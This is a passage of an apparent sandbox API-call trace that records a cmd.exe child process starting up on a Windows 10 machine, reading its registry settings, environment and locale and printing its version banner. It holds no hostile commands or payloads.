	[0087.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0087.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0087.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0088.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0088.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0088.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0088.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0088.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0088.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0088.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0088.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0088.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 27
	os_tid = 0x4c4


Thread:
	id = 28
	os_tid = 0x498


Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4ccd1000"
	os_pid = "0x5f8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x468"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0xe40

	[0063.590] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff682f90000
	[0063.590] __set_app_type (_Type=0x1) 
	[0063.590] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff682fa6d00) returned 0x0
	[0063.591] __getmainargs (in: _Argc=0x7ff682fc9200, _Argv=0x7ff682fc9208, _Env=0x7ff682fc9210, _DoWildCard=0, _StartInfo=0x7ff682fc921c | out: _Argc=0x7ff682fc9200, _Argv=0x7ff682fc9208, _Env=0x7ff682fc9210) returned 0
	[0063.591] _onexit (_Func=0x7ff682fa7fd0) returned 0x7ff682fa7fd0
	[0063.591] _onexit (_Func=0x7ff682fa7fe0) returned 0x7ff682fa7fe0
	[0063.591] _onexit (_Func=0x7ff682fa7ff0) returned 0x7ff682fa7ff0
	[0063.591] _onexit (_Func=0x7ff682fa8000) returned 0x7ff682fa8000
	[0063.592] _onexit (_Func=0x7ff682fa8010) returned 0x7ff682fa8010
	[0063.592] _onexit (_Func=0x7ff682fa8020) returned 0x7ff682fa8020
	[0063.593] GetCurrentThreadId () returned 0xe40
	[0063.593] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe40) returned 0x70
	[0063.593] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000
	[0063.593] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990
	[0063.593] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0064.548] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0064.548] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2786affc28 | out: phkResult=0x2786affc28*=0x0) returned 0x2
	[0064.552] VirtualQuery (in: lpAddress=0x2786affc14, lpBuffer=0x2786affb90, dwLength=0x30 | out: lpBuffer=0x2786affb90*(BaseAddress=0x2786aff000, AllocationBase=0x2786a00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff803)) returned 0x30
	[0064.553] VirtualQuery (in: lpAddress=0x2786a00000, lpBuffer=0x2786affb90, dwLength=0x30 | out: lpBuffer=0x2786affb90*(BaseAddress=0x2786a00000, AllocationBase=0x2786a00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0xfffff803)) returned 0x30
	[0064.553] VirtualQuery (in: lpAddress=0x2786a01000, lpBuffer=0x2786affb90, dwLength=0x30 | out: lpBuffer=0x2786affb90*(BaseAddress=0x2786a01000, AllocationBase=0x2786a00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0xfffff803)) returned 0x30
	[0064.553] VirtualQuery (in: lpAddress=0x2786a04000, lpBuffer=0x2786affb90, dwLength=0x30 | out: lpBuffer=0x2786affb90*(BaseAddress=0x2786a04000, AllocationBase=0x2786a00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff803)) returned 0x30
	[0064.553] VirtualQuery (in: lpAddress=0x2786b00000, lpBuffer=0x2786affb90, dwLength=0x30 | out: lpBuffer=0x2786affb90*(BaseAddress=0x2786b00000, AllocationBase=0x2786b00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0xfffff803)) returned 0x30
	[0064.553] GetConsoleOutputCP () returned 0x1b5
	[0065.341] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff682fcfbb0 | out: lpCPInfo=0x7ff682fcfbb0) returned 1
	[0065.341] SetConsoleCtrlHandler (HandlerRoutine=0x7ff682fb8150, Add=1) returned 1
	[0065.341] _get_osfhandle (_FileHandle=1) returned 0x254
	[0065.341] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff682fcfc04 | out: lpMode=0x7ff682fcfc04) returned 0
	[0065.341] _get_osfhandle (_FileHandle=0) returned 0x248
	[0065.341] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff682fcfc00 | out: lpMode=0x7ff682fcfc00) returned 0
	[0065.341] _get_osfhandle (_FileHandle=1) returned 0x254
	[0065.342] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0065.342] _get_osfhandle (_FileHandle=1) returned 0x254
	[0065.342] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff682fcfc08 | out: lpMode=0x7ff682fcfc08) returned 0
	[0065.342] _get_osfhandle (_FileHandle=0) returned 0x248
	[0065.342] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff682fcfc0c | out: lpMode=0x7ff682fcfc0c) returned 0
	[0065.342] GetEnvironmentStringsW () returned 0x1f743165a10*
	[0065.342] GetProcessHeap () returned 0x1f743160000
	[0065.342] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0xa7c) returned 0x1f7431664a0
	[0065.342] FreeEnvironmentStringsA (penv="A") returned 1
	[0065.342] GetProcessHeap () returned 0x1f743160000
	[0065.342] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x8) returned 0x1f743166f30
	[0065.342] GetEnvironmentStringsW () returned 0x1f743165a10*
	[0065.342] GetProcessHeap () returned 0x1f743160000
	[0065.342] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0xa7c) returned 0x1f743166f50
	[0065.342] FreeEnvironmentStringsA (penv="A") returned 1
	[0065.343] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2786afead8 | out: phkResult=0x2786afead8*=0x7c) returned 0x0
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x0, lpData=0x2786afeaf0*=0x4, lpcbData=0x2786afead4*=0x1000) returned 0x2
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x4, lpData=0x2786afeaf0*=0x1, lpcbData=0x2786afead4*=0x4) returned 0x0
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x0, lpData=0x2786afeaf0*=0x1, lpcbData=0x2786afead4*=0x1000) returned 0x2
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x4, lpData=0x2786afeaf0*=0x0, lpcbData=0x2786afead4*=0x4) returned 0x0
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x4, lpData=0x2786afeaf0*=0x40, lpcbData=0x2786afead4*=0x4) returned 0x0
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x4, lpData=0x2786afeaf0*=0x40, lpcbData=0x2786afead4*=0x4) returned 0x0
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x0, lpData=0x2786afeaf0*=0x40, lpcbData=0x2786afead4*=0x1000) returned 0x2
	[0065.343] RegCloseKey (hKey=0x7c) returned 0x0
	[0065.343] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2786afead8 | out: phkResult=0x2786afead8*=0x7c) returned 0x0
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x0, lpData=0x2786afeaf0*=0x40, lpcbData=0x2786afead4*=0x1000) returned 0x2
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x4, lpData=0x2786afeaf0*=0x1, lpcbData=0x2786afead4*=0x4) returned 0x0
	[0065.343] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x0, lpData=0x2786afeaf0*=0x1, lpcbData=0x2786afead4*=0x1000) returned 0x2
	[0065.344] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x4, lpData=0x2786afeaf0*=0x0, lpcbData=0x2786afead4*=0x4) returned 0x0
	[0065.344] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x4, lpData=0x2786afeaf0*=0x9, lpcbData=0x2786afead4*=0x4) returned 0x0
	[0065.344] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x4, lpData=0x2786afeaf0*=0x9, lpcbData=0x2786afead4*=0x4) returned 0x0
	[0065.344] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2786afead0, lpData=0x2786afeaf0, lpcbData=0x2786afead4*=0x1000 | out: lpType=0x2786afead0*=0x0, lpData=0x2786afeaf0*=0x9, lpcbData=0x2786afead4*=0x1000) returned 0x2
	[0065.344] RegCloseKey (hKey=0x7c) returned 0x0
	[0065.344] time (in: timer=0x0 | out: timer=0x0) returned 0x5d70597c
	[0065.344] srand (_Seed=0x5d70597c) 
	[0065.344] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0065.344] malloc (_Size=0x4000) returned 0x1f7433754f0
	[0065.345] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0065.345] malloc (_Size=0xffce) returned 0x1f743260080
	[0065.345] ??_V@YAXPEAX@Z () returned 0x1f743260080
	[0065.346] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1f743260080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0065.346] malloc (_Size=0xffce) returned 0x1f743270060
	[0065.346] ??_V@YAXPEAX@Z () returned 0x1f743270060
	[0065.347] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1f743270060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0065.347] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff682fcbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0065.347] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff682fcbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0065.347] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff682fcbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0065.347] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0065.347] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0065.347] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0065.347] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0065.347] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0065.347] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0065.347] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0065.347] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0065.348] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0065.348] GetProcessHeap () returned 0x1f743160000
	[0065.348] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f7431664a0) returned 1
	[0065.348] GetEnvironmentStringsW () returned 0x1f743165a10*
	[0065.348] GetProcessHeap () returned 0x1f743160000
	[0065.348] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0xa94) returned 0x1f743167a10
	[0065.348] FreeEnvironmentStringsA (penv="A") returned 1
	[0065.348] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff682fcbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0065.348] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff682fcbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0065.348] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0065.348] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0065.348] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0065.348] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0065.348] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0065.348] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0065.348] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0065.348] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0065.348] malloc (_Size=0xffce) returned 0x1f743280040
	[0065.348] ??_V@YAXPEAX@Z () returned 0x1f743280040
	[0065.349] GetProcessHeap () returned 0x1f743160000
	[0065.349] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x40) returned 0x1f7431684b0
	[0065.349] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1f743280040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0065.349] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1f743280040, lpFilePart=0x2786aff650 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2786aff650*="Desktop") returned 0x17
	[0065.350] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0065.350] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2786aff380 | out: lpFindFileData=0x2786aff380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1f743168500
	[0065.350] FindClose (in: hFindFile=0x1f743168500 | out: hFindFile=0x1f743168500) returned 1
	[0065.350] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x2786aff380 | out: lpFindFileData=0x2786aff380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1f743168500
	[0065.351] FindClose (in: hFindFile=0x1f743168500 | out: hFindFile=0x1f743168500) returned 1
	[0065.351] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x2786aff380 | out: lpFindFileData=0x2786aff380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x66adebac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x66adebac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1f743168500
	[0065.352] FindClose (in: hFindFile=0x1f743168500 | out: hFindFile=0x1f743168500) returned 1
	[0065.352] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0065.352] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0065.352] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0065.352] GetProcessHeap () returned 0x1f743160000
	[0065.352] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f743167a10) returned 1
	[0065.352] GetEnvironmentStringsW () returned 0x1f743160fc0*
	[0065.352] GetProcessHeap () returned 0x1f743160000
	[0065.352] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0xacc) returned 0x1f743168500
	[0065.352] FreeEnvironmentStringsA (penv="=") returned 1
	[0065.352] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1f743260080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0065.352] GetProcessHeap () returned 0x1f743160000
	[0065.352] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f7431684b0) returned 1
	[0065.352] ??_V@YAXPEAX@Z () returned 0x1
	[0065.353] ??_V@YAXPEAX@Z () returned 0x1
	[0065.353] GetProcessHeap () returned 0x1f743160000
	[0065.353] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x4016) returned 0x1f743168fe0
	[0065.353] GetProcessHeap () returned 0x1f743160000
	[0065.353] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f743168fe0) returned 1
	[0065.353] GetConsoleOutputCP () returned 0x1b5
	[0066.391] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff682fcfbb0 | out: lpCPInfo=0x7ff682fcfbb0) returned 1
	[0066.391] GetUserDefaultLCID () returned 0x409
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff682fcbb78, cchData=8 | out: lpLCData=":") returned 2
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2786affa10, cchData=128 | out: lpLCData="0") returned 2
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2786affa10, cchData=128 | out: lpLCData="0") returned 2
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2786affa10, cchData=128 | out: lpLCData="1") returned 2
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff682fcbb68, cchData=8 | out: lpLCData="/") returned 2
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff682fcbb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff682fcbac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff682fcba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff682fcba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff682fcba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff682fcb9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff682fcb980, cchData=32 | out: lpLCData="Sun") returned 4
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff682fcbb58, cchData=8 | out: lpLCData=".") returned 2
	[0066.392] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff682fcbb40, cchData=8 | out: lpLCData=",") returned 2
	[0066.393] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0066.394] GetProcessHeap () returned 0x1f743160000
	[0066.394] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x0, Size=0x20c) returned 0x1f743166560
	[0066.394] GetConsoleTitleW (in: lpConsoleTitle=0x1f743166560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0067.738] _get_osfhandle (_FileHandle=1) returned 0x254
	[0067.738] GetFileType (hFile=0x254) returned 0x3
	[0067.739] ApiSetQueryApiSetPresence () returned 0x0
	[0067.739] ResolveDelayLoadedAPI () returned 0x7ff911c5d990
	[0068.307] BrandingFormatString () returned 0x1f743161850
	[0068.318] GetVersion () returned 0x3ad7000a
	[0068.318] _vsnwprintf (in: _Buffer=0x2786affb70, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2786affb08 | out: _Buffer="10.0.15063") returned 10
	[0068.319] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.319] GetFileType (hFile=0x254) returned 0x3
	[0068.319] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff682fd7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0068.319] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff682fd7f60, nSize=0x2000, Arguments=0x2786affb10 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0068.319] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0068.319] WriteFile (in: hFile=0x254, lpBuffer=0x7ff682fc9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2786affa68, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesWritten=0x2786affa68*=0x26, lpOverlapped=0x0) returned 1
	[0068.319] _vsnwprintf (in: _Buffer=0x7ff682fd7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2786affb38 | out: _Buffer="\r\n") returned 2
	[0068.319] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.319] GetFileType (hFile=0x254) returned 0x3
	[0068.319] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff682fc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0068.319] WriteFile (in: hFile=0x254, lpBuffer=0x7ff682fc9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2786affb08, lpOverlapped=0x0 | out: lpBuffer=0x7ff682fc9970*, lpNumberOfBytesWritten=0x2786affb08*=0x2, lpOverlapped=0x0) returned 1
	[0068.320] _vsnwprintf (in: _Buffer=0x7ff682fd7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2786affb38 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0068.320] _get_osfhandle (_FileHandle=1) returned 0x254
	[0068.320] GetFileType (hFile=0x254) returned 0x3
	[0068.320] _get_osfhandle (_FileHandle=1) returned 0x254
